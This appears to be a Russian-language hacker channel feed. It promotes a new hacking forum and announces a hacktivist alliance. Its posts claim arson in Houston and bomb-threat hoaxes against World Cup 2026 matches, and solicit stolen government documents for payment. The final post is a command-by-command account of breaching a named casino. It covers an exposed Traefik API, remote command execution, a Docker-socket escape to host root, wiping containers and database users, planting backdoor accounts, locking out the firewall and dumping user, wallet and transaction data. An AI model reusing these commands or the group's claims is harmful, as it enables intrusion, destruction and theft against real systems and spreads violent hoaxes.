Void_hackers

Ждите новости, мы не спим=)

Прошло еще несколько дней. Наша команда продолжает работать. В этот раз мы провели мероприятие под кодовым названием «Завербуй долбаеба для фаершоу» задачу выполнили. Кроме того, была проведена операция по дестабилизации фона вокруг ЧМ 2026 через угрозы минирований и ложные сообщения о терактах. Что удалось: — Поджог в штате Техас, город Хьюстон. Запуски дронов — Успешные попытки остановки матчей ЧМ 2026. Матчи были задержаны, системы безопасности переведены в режим повышенной готовности. Дальше переходим к киберсреде и хакингу. Ответственность за данные действия группа Earthimpact берет на себя полную ответственность за поджог в Хьюстоне, информационную атаку на ЧМ 2026 и заявленные акции. Присоединяйтесь, следите, работайте с нами. Earthimpact не шутит 😁 Если у вас есть какая-нибудь интересная информация, военник, госдокументы и прочее, пишите нам и передайте за валюту – @FuckWest_ZOV

📜 ДЕКЛАРАЦИЯ О СОЮЗЕ Мы, Кибер-оперативная группа «МЕТА» и Ядро-дивизион «ЯДРО», два независимых русскоязычных хактивистских формирования, объявляем о создании стратегического альянса под единым знаменем – ЛЕГИОН МЕТА ЯДРО. Отныне наши силы объединены. Мета – взгляд сверху, анализ кода и систем, проникновение в любую архитектуру. Ядро – удар в корень, уничтожение инфраструктуры противника на самом низком уровне. Вместе мы становимся неуязвимым вектором атаки. Наша цель – защита русского цифрового суверенитета, ответ на любую агрессию в информационном пространстве, наказание тех, кто пытается нарушить равновесие. Мы выше кода, выше систем, выше всего. Мы – вирус, вторгающийся и уничтожающий в корне. Предупреждение всем, кто считает себя в безопасности: Ваши сети уже скомпрометированы. Ваши логи уже прочитаны. Ваша защита – лишь иллюзия. Да будет так. Подпись: Легион Мета Ядро 2026, лето. #Мета_Ядро #ЯДРО #МЕТА

Топ-1 поста за первый день. Берём без вариантов — @MrRobot выдал гайд по анализу вирусов. Чел реально сел и расписал всё: от Detect It Easy до потрошения Python-скриптов. С картинками, с примерами кода, с обходом анти-отладки. Я пока читал, успел поседеть. Короче, если ты до сих пор анализируешь вирусы через «закинуть в VirusTotal и помолиться» — читай этот пост. Если ты сам шаришь — иди дополняй в тред, MrRobot отвечает. http://178.72.184.43/?route=topic&id=16#post-29

VoidNet: итоги первых 24 часов. Запуск состоялся вчера. Достигли результатов, на которые другим нужны недели. Цифры: → 36 зарегистрированных пользователей → 100+ гостей → 15+ технических тем Темы обсуждений: — Сетевые протоколы и атаки — OSINT-инструменты — Разбор вирусов (Linux) — Анонимность и OPSEC — Ботнеты и DDoS — Первый опыт CTF Администрация работала круглосуточно, исправляя баги. Спасибо за активность. Вы — основа VoidNet. Регистрируйтесь сейчас. Дальше будет больше.

Due to a technical glitch, some of the accounts were lost. We have restored the protection. Please re-register. The first 50 to return are OG status manually.

Из-за технического сбоя часть аккаунтов была потеряна. Мы восстановили защиту. Перерегистрируйтесь пожалуйста. Первым 500 вернувшимся — OG статус вручную.

VoidNet — хакерский форум нового поколения. Полное шифрование. Никаких логов. Никакой цензуры. Обсуждаем: разработку, уязвимости, OSINT, сети, анонимность. Регистрируйся: твой_ip Первые 500 пользователей получают OG статус. Мы ждём тебя. VoidNet. Ссылка: http://178.72.184.43 Ps: пока что по ip, после сделаем домен, а завтра запустим зеркало onion. Ps2: на смартфонах работает плохо, запускайте на пк.

Интерфейс полностью изменили, форум готов завтра запустим в открытый доступ по onion v3 и обычному айпи.

Если что ребята, команда им сегодня займётся

Как интерфейс?

Мы послушали вас и начали разработку форума, уже сделали защиту и от csrf, xss и кучи других методов атаки, интерфейс пока страшный но мы его стараемся улучшить. А пока, что бы вы хотели в нашем форуме?

Привет, друзья! Появилась идея запустить форум в даркнете. Сервер уже есть, но хотим узнать ваше мнение: это нужно вам или нет? Возможно, через пару лет это станет одной из крупнейших площадок. В любом случае, решение за вами. =)

🔎 OSINT / соцмониторинг Хочешь видеть то, что скрыто за профилями, постами и цифровым шумом? Мы разбираем: — пробив открытых источников — анализ соцсетей и цифровых следов — инструменты OSINT — реальные кейсы поиска информации Подписывайся, если хочешь научиться находить информацию, а не просто потреблять её. https://t.me/octolubus

Извините но у бд кажется нашлись покупатели=) выложим только тогда когда все деньги выкачают оттуда.

И снова всем привет, это VoidHackers Сегодня мы решили разобрать нашу очередную атаку на Казино. Elinmejorable. --- Как взломали: Первым делом мы нашли панель управления Traefik на 35.232.157.173:8080. Выполнили:

curl http://35.232.157.173:8080/api/rawdata

Нам выдались все контейнеры, их внутренние IP и полная структура сети. Traefik был без авторизации — их CTO явно не знает, что такое --api.insecure=false. Дальше перебрали эндпоинты и нашли RCE через /exec?cmd= на одном из сервисов. Выполнили:

curl -H "Host: sellatuparleyprod.elinmejorable.dev" "http://35.232.157.173:8080/exec?cmd=id"

Ответ: uid=0(root) gid=0(root). Контейнер работал от root. Инженеры думали, что Docker даёт иммунитет — нет. Проверили доступ к Docker-сокету:

curl -H "Host: sellatuparleyprod.elinmejorable.dev" "http://35.232.157.173:8080/exec?cmd=ls -la /var/run/docker.sock"

Сокет был открыт. Запустили привилегированный контейнер:

docker run -d --name attacker --privileged -v /:/host alpine sleep infinity

Зайдя в контейнер, выполнили:

chroot /host /bin/bash

И получили root на хосте 35.232.157.173. Их облачная инфраструктура пала за 15 минут. После этого мы:

systemctl stop docker traefik nginx apache2
systemctl disable docker traefik nginx apache2
docker rm -f $(docker ps -aq)
docker rmi -f $(docker images -q)

Почистили базу PostgreSQL на 172.18.0.15:

PGPASSWORD=postgres psql -h 172.18.0.15 -U postgres -d taquillas -c "DELETE FROM usuarios WHERE password != '1290f2365b11fa1e3ad25c3be363b105f985f0185aa9b6bde0a19972574205e1';"

Создали своих пользователей:

useradd -m -s /bin/bash Bibakr
useradd -m -s /bin/bash Ultra
useradd -m -s /bin/bash BARIN
echo 'Bibakr:BibakrPass123' | chpasswd

Настроили iptables — теперь сервер слушает только нас:

iptables -P INPUT DROP
iptables -A INPUT -s 45.84.0.239 -j ACCEPT

Но с SSH вышла проблема — GCP файрвол блокирует не-HTTP трафик. Попробовали поднять SSH на портах 22, 80, 443, 2222 — бесполезно. Контейнер attacker удалился, доступ к серверу потерян. Ирония — мы всё сломали, но Гугл запер нас снаружи. Однако мы нашли JWT-токен в открытом коде. Проверили доступ через API:

curl -X POST "https://coreapi.elinmejorable.dev/api" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ allUsers { nodes { id email } } }"}'

API открылся. Мы выкачали всю базу данных:

curl -X POST "https://coreapi.elinmejorable.dev/api" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ allUsers { nodes { id email password phone balance role } } }"}' > users.json

curl -X POST "https://coreapi.elinmejorable.dev/api" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ allWallets { nodes { id userId balance currency } } }"}' > wallets.json

curl -X POST "https://coreapi.elinmejorable.dev/api" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ allTransactions { nodes { id userId amount type status } } }"}' > transactions.json

Теперь у нас всё: пользователи, кошельки, транзакции, финансовая история компании. --- Итог: Docker-сервер — был root, доступ потерян из-за GCP. API — полный контроль, БД выкачана. Так что, El Inmejorable, выводы делайте сами. Мы были внутри, и мы вернёмся, если захотим.